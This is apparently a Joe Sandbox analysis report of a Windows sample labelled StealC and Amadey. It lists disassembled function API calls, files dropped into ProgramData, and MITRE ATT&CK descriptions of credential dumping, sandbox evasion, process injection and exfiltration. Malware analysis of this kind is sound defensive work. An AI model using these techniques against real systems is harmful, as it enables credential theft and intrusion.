APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C95BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C95BEF5

Strings

cryptbase.dll, xrefs: 6C95BEF0

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 3389bf477430a64a448241c0b750642c32ddc77457bda172e85cd49dcacc885c
Instruction ID: 2980b1bce44234243986f336db0269e881cf734516eb1b354351b716152f8514
Opcode Fuzzy Hash: 3389bf477430a64a448241c0b750642c32ddc77457bda172e85cd49dcacc885c
Instruction Fuzzy Hash: 35D013313C4108EBD741EB508D19F2937789701715F64C025F75555951C7B1D574CFD5

Function 6C9450E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C,?,?,?,?,?), ref: 6C94510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C,?,?,?,?,?), ref: 6C945167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C945196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C), ref: 6C945234

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 26a84dc7cc4a4cc63166c1e5dd6c72bb7d4f3053807833529120ac117cc55b3d
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 0C919C35605656CFCB14CF08C490A5ABBA6BF99318B28C68DEC589BB15D331FD42CBE0

Function 6C9808F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980918
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9809A6
EnterCriticalSection.KERNEL32(6C9CE7DC,?,00000000), ref: 6C9809F3
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980ACB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8e7786c2f877e340c40d43d09638194e0364acc8119218c2b7df882ecbeadfe8
Instruction ID: 1f298474e75bfcceae7b688085ff8bdaf3088cb7e13df3b3c835d2d0aacfa076
Opcode Fuzzy Hash: 8e7786c2f877e340c40d43d09638194e0364acc8119218c2b7df882ecbeadfe8
Instruction Fuzzy Hash: 71515A32B07A90CBEB089A15C44562533B9EBC2F24B34593ADD6697F80DB31ED11C7D1

Function 6C99B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B628

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C99B127,?,?,?,?,?,?,?,?), ref: 6C99B74D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0870975bb503dcbfe669222e199a290487308c56c99dac065b9e898e48344525
Instruction ID: 43c0f9452aaaffbd88075c98b610969d9d6ff5b9969f00408e3236c9b9b8e2b4
Opcode Fuzzy Hash: 0870975bb503dcbfe669222e199a290487308c56c99dac065b9e898e48344525
Instruction Fuzzy Hash: 2451DF71A05216CFDB24CF58C98076EB7B5FF85B14F19862DC85AABB00D735E904CBA1

Function 6C99DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C98FF2A), ref: 6C99DFFD

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C98FF2A), ref: 6C99E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C98FF2A), ref: 6C99E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C98FF2A), ref: 6C99E0FE

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 42fecd1c8fea0faca9f43beb7a904a0105ed31a1be6d3a48add957e0bb6851b7
Instruction ID: 4dec53cb8992e5f059af1e13a93288e9a5d69797a7c23633c17ca9b95e58cdf2
Opcode Fuzzy Hash: 42fecd1c8fea0faca9f43beb7a904a0105ed31a1be6d3a48add957e0bb6851b7
Instruction Fuzzy Hash: 5141B4B1608216CFEB24CF68D88036A77B6BB45308F2D4939D516DB740E731EA55CB92

Function 6C996E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C996EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C996EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996F5C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: d3fca3f45c860109085b4941e94ceb55382517e096c14ef44ceabd438ed5c7a0
Instruction ID: 92d61b1dfc4b7827636e293f64b30cb2131b42121f7a060e5510302420f27f35
Opcode Fuzzy Hash: d3fca3f45c860109085b4941e94ceb55382517e096c14ef44ceabd438ed5c7a0
Instruction Fuzzy Hash: 8131C371A1060A8FDB44CF2CC9806BA73E9EB85344F64863DD41BD7651EB31E669C7E0

Function 6C9AB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C950A4D), ref: 6C9AB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C950A4D), ref: 6C9AB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C950A4D), ref: 6C9AB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C950A4D), ref: 6C9AB67F

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 907764dead2c13c050c13c3c273cd4f88ff7d4092ab8268ed25fd33bb945b6b2
Instruction ID: 008ad2746922b72b6285ef9d6d8ac17da5c184df4d19e3bada76a24582c4725d
Opcode Fuzzy Hash: 907764dead2c13c050c13c3c273cd4f88ff7d4092ab8268ed25fd33bb945b6b2
Instruction Fuzzy Hash: 3F31D971A0521A8FDB10CF98C84466ABBF9FF81324F168569C80ADB711DB31E916CBE1

Function 6C97F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C97F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C97F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C97F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C97F668

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2738a150e84a06d7e443af9904df4498e67e1a7982fb0a3a6879bd7ca09ba07a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: CD314F71A01614AFCB24CF6DCCC0AAB77B9EF94358B14853DFA499BB04D631E9448BA0

Function 6C9926B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9926C1
free.MOZGLUE(?), ref: 6C9926E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9926FF
free.MOZGLUE ref: 6C99270D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e2e83bd022ada4278ab7085a956fdb04f713924742bf1714090c2932e7e46655
Instruction ID: 57a41b4187a28db2570ee79b4ca174c333d95e5042136e8b147e298ac88b7807
Opcode Fuzzy Hash: e2e83bd022ada4278ab7085a956fdb04f713924742bf1714090c2932e7e46655
Instruction Fuzzy Hash: DDF0CDB27016016BFB00DE19DC8495B77ADFF5125CB680035EA16D7F02E732F959C691

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFIDGDAK

C:\ProgramData\BFIDGDAKFHIEHJKFHDHD

C:\ProgramData\EGDBFIIECBGDGDGDHCAKKFBFIE

C:\ProgramData\FIEHIIIJDAAAAAAKECBF

C:\ProgramData\FIJECAEHJJJKJKFIDGCBGIJJJE

C:\ProgramData\HDAKJDHI

C:\ProgramData\KFBGDBFBKKJECBFHDGIE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre